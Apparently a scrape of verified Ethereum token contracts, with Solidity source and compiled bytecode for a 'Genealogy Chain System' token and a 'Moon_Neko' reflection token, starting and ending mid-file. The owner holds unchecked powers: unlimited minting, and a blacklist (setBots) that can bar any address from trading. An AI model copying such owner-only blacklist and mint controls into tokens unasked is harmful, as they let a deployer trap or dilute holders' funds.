_value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract GenealogyChainSystem is BurnableToken { string public constant name = "Genealogy Chain System"; string public constant symbol = "GCS"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 2000000000 * (10 ** uint256(decimals)); event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } // Constructors constructor() public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b357806318160ddd146101d757806323b872dd146101fe578063313ce56714610228578063378dc3dc1461023d57806340c10f191461025257806342966c6814610276578063661884631461029057806370a08231146102b45780637d64bcb4146102d55780638da5cb5b146102ea57806395d89b411461031b578063a9059cbb14610330578063d73dd62314610354578063dd62ed3e14610378578063f2fde38b1461039f575b600080fd5b34801561010c57600080fd5b506101156103c0565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e6103e1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a0360043516602435610418565b3480156101e357600080fd5b506101ec61047e565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610115600160a060020a0360043581169060243516604435610484565b34801561023457600080fd5b506101ec610594565b34801561024957600080fd5b506101ec610599565b34801561025e57600080fd5b50610115600160a060020a03600435166024356105a9565b34801561028257600080fd5b5061028e6004356106b3565b005b34801561029c57600080fd5b50610115600160a060020a03600435166024356107b9565b3480156102c057600080fd5b506101ec600160a060020a03600435166108a9565b3480156102e157600080fd5b506101156108c4565b3480156102f657600080fd5b506102ff61096a565b60408051600160a060020a039092168252519081900360200190f35b34801561032757600080fd5b5061013e610979565b34801561033c57600080fd5b50610115600160a060020a03600435166024356109b0565b34801561036057600080fd5b50610115600160a060020a0360043516602435610a65565b34801561038457600080fd5b506101ec600160a060020a0360043581169060243516610afe565b3480156103ab57600080fd5b5061028e600160a060020a0360043516610b29565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152601681527f47656e65616c6f677920436861696e2053797374656d00000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60005481565b600080600160a060020a038416151561049c57600080fd5b50600160a060020a038416600081815260026020908152604080832033845282528083205493835260019091529020546104dc908463ffffffff610bbe16565b600160a060020a038087166000908152600160205260408082209390935590861681522054610511908463ffffffff610bd016565b600160a060020a03851660009081526001602052604090205561053a818463ffffffff610bbe16565b600160a060020a0380871660008181526002602090815260408083203384528252918290209490945580518781529051928816939192600080516020610be7833981519152929181900390910190a3506001949350505050565b601281565b6b06765c793fa10079d000000081565b600354600090600160a060020a031633146105c357600080fd5b60035474010000000000000000000000000000000000000000900460ff16156105eb57600080fd5b6000546105fe908363ffffffff610bd016565b6000908155600160a060020a038416815260016020526040902054610629908363ffffffff610bd016565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610be78339815191529181900360200190a350600192915050565b600354600090600160a060020a031633146106cd57600080fd5b600082116106da57600080fd5b336000908152600160205260409020548211156106f657600080fd5b5033600081815260016020526040902054610717908363ffffffff610bbe16565b600160a060020a03821660009081526001602052604081209190915554610744908363ffffffff610bbe16565b600055604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a03841691600080516020610be78339815191529181900360200190a35050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561080e57336000908152600260209081526040808320600160a060020a0388168452909152812055610843565b61081e818463ffffffff610bbe16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a031633146108de57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561090657600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b60408051808201909152600381527f4743530000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156109c757600080fd5b336000908152600160205260409020546109e7908363ffffffff610bbe16565b3360009081526001602052604080822092909255600160a060020a03851681522054610a19908363ffffffff610bd016565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191923392600080516020610be78339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a99908363ffffffff610bd016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b4057600080fd5b600160a060020a0381161515610b5557600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bca57fe5b50900390565b600082820183811015610bdf57fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820bc9314840c5071fe8ca8c49eab5d4116efc061234f19d07b33968fbc6d8f8f240029
{"success": true, "error": null, "results": {}}
8,854
0x1f00e7399b9cb7cd374ddf2154a0e1e694aa1cb0
/** *Submitted for verification at Etherscan.io on 2021-06-10 */ /* db db dpqb dp8b 8b qb_____dp_88 88/ . `p q'. \ .'. .-. ,-. `--. |. / 0 \ / 0 \ | \ |. `.__ ___.' | \\/ |. " | ( \. `-'-' ,' | _/`------------'. .| /. \\::(::[];)||.. \ /. ' \.`:;;;;'''/`. .| |. |/ `;--._.__/ |..| |. _/_,'''',,`. `:.' |. ` / , ',`. |/ \. -'/\/ ',\ |\ /\__-' /\ / ,. |.\ /. .| ' /-. ,: |..\ :. .| /| | , ,||. ..: |. .` | '//` ,:|. .| |.. .\ //\/ ,|. ..| \. .\ <./ ,'. ../ \_ ,..`.__ _,..,._/ `\|||/ `--'\|||/' Fair launch no presale Join our telegram: https://t.me/MoonNekoOfficial Good luck on launch! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MoonNeko is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Moon_Neko"; string private constant _symbol = 'MNeko'; uint8 private constant _decimals = 9; uint256 private _taxFee = 7; uint256 private _teamFee = 8; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ef2565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a15565b61045e565b6040516101789190612ed7565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613094565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129c6565b61048d565b6040516101e09190612ed7565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612938565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613109565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a92565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612938565b610783565b6040516102b19190613094565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e09565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ef2565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a15565b61098d565b60405161035b9190612ed7565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a51565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ae4565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061298a565b61121a565b6040516104189190613094565b60405180910390f35b60606040518060400160405280600981526020017f4d6f6f6e5f4e656b6f0000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b600068056bc75e2d63100000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137cd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fd4565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fd4565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fd4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d4e656b6f000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fd4565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133aa565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fd4565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613054565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612961565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612961565b6040518363ffffffff1660e01b8152600401610e1f929190612e24565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612961565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e76565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b0d565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506706f05b59d3b200006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e4d565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612abb565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fd4565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f94565b60405180910390fd5b6111d860646111ca8368056bc75e2d631000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190613094565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffff